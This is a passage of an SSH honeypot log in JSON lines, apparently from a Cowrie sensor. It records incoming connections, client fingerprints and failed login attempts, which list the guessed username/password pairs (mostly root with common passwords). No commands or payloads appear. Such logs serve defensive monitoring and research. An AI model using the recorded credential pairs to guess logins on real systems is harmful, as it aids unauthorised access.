16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.313843Z","src_ip":"38.93.206.2","session":"a3bf4c52bbb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna123","message":"login attempt [root/anna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.467718Z","src_ip":"38.93.206.2","session":"a3bf4c52bbb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72520f121ca","protocol":"ssh","message":"New connection: 94.159.110.201:32992 (159.203.135.109:22) [session: a72520f121ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.852810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.857333Z","src_ip":"94.159.110.201","session":"a72520f121ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:26.977057Z","src_ip":"94.159.110.201","session":"a72520f121ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secret","message":"login attempt [root/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:27.338217Z","src_ip":"94.159.110.201","session":"a72520f121ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:27.522223Z","src_ip":"38.93.206.2","session":"a3bf4c52bbb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:28.460735Z","src_ip":"94.159.110.201","session":"a72520f121ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":58662,"dst_ip":"159.203.135.109","dst_port":22,"session":"8884c52f7dc3","protocol":"ssh","message":"New connection: 193.32.162.151:58662 (159.203.135.109:22) [session: 8884c52f7dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:37.765071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:37.770693Z","src_ip":"193.32.162.151","session":"8884c52f7dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:37.866577Z","src_ip":"193.32.162.151","session":"8884c52f7dc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"12345678","message":"login attempt [kryan/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:38.286698Z","src_ip":"193.32.162.151","session":"8884c52f7dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:39.391262Z","src_ip":"193.32.162.151","session":"8884c52f7dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":52654,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd520ab928d2","protocol":"ssh","message":"New connection: 43.156.17.27:52654 (159.203.135.109:22) [session: fd520ab928d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:54.634023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:54.638385Z","src_ip":"43.156.17.27","session":"fd520ab928d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:54.884440Z","src_ip":"43.156.17.27","session":"fd520ab928d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:55.897927Z","src_ip":"43.156.17.27","session":"fd520ab928d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53950,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd0b27bbcef","protocol":"ssh","message":"New connection: 103.153.68.219:53950 (10.17.0.5:22) [session: 5dd0b27bbcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:56.453075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:56.457688Z","src_ip":"103.153.68.219","session":"5dd0b27bbcef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:56.713992Z","src_ip":"103.153.68.219","session":"5dd0b27bbcef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:57.146445Z","src_ip":"43.156.17.27","session":"fd520ab928d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn123","message":"login attempt [root/zxcvbn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:57.489394Z","src_ip":"103.153.68.219","session":"5dd0b27bbcef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:21:58.747840Z","src_ip":"103.153.68.219","session":"5dd0b27bbcef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"c505515ad0be","protocol":"ssh","message":"New connection: 103.82.132.16:53742 (10.17.0.5:22) [session: c505515ad0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:07.524109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:07.529744Z","src_ip":"103.82.132.16","session":"c505515ad0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:07.791362Z","src_ip":"103.82.132.16","session":"c505515ad0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"odessa","message":"login attempt [root/odessa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:08.577242Z","src_ip":"103.82.132.16","session":"c505515ad0be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:09.841447Z","src_ip":"103.82.132.16","session":"c505515ad0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":62354,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5848d15312f","protocol":"ssh","message":"New connection: 194.59.206.2:62354 (159.203.135.109:22) [session: b5848d15312f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:20.120334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:20.125365Z","src_ip":"194.59.206.2","session":"b5848d15312f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:20.210190Z","src_ip":"194.59.206.2","session":"b5848d15312f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:20.296454Z","src_ip":"194.59.206.2","session":"b5848d15312f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":55266,"dst_ip":"159.203.135.109","dst_port":22,"session":"41bfc6a49111","protocol":"ssh","message":"New connection: 193.228.128.84:55266 (159.203.135.109:22) [session: 41bfc6a49111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:25.356667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:25.362002Z","src_ip":"193.228.128.84","session":"41bfc6a49111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:25.466300Z","src_ip":"193.228.128.84","session":"41bfc6a49111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfnfkb","message":"login attempt [root/yfnfkb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:26.092557Z","src_ip":"193.228.128.84","session":"41bfc6a49111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:27.198528Z","src_ip":"193.228.128.84","session":"41bfc6a49111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51076,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6af4bbd42c","protocol":"ssh","message":"New connection: 103.27.238.116:51076 (10.17.0.5:22) [session: ae6af4bbd42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:37.857143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:37.863311Z","src_ip":"103.27.238.116","session":"ae6af4bbd42c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:38.127270Z","src_ip":"103.27.238.116","session":"ae6af4bbd42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:38.918525Z","src_ip":"103.27.238.116","session":"ae6af4bbd42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:40.189223Z","src_ip":"103.27.238.116","session":"ae6af4bbd42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":6681,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c352a3fbec7","protocol":"ssh","message":"New connection: 182.253.79.194:6681 (10.17.0.5:22) [session: 2c352a3fbec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.438222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:22:41.443033Z","src_ip":"182.253.79.194","session":"2c352a3fbec7","protocol":"ssh"}
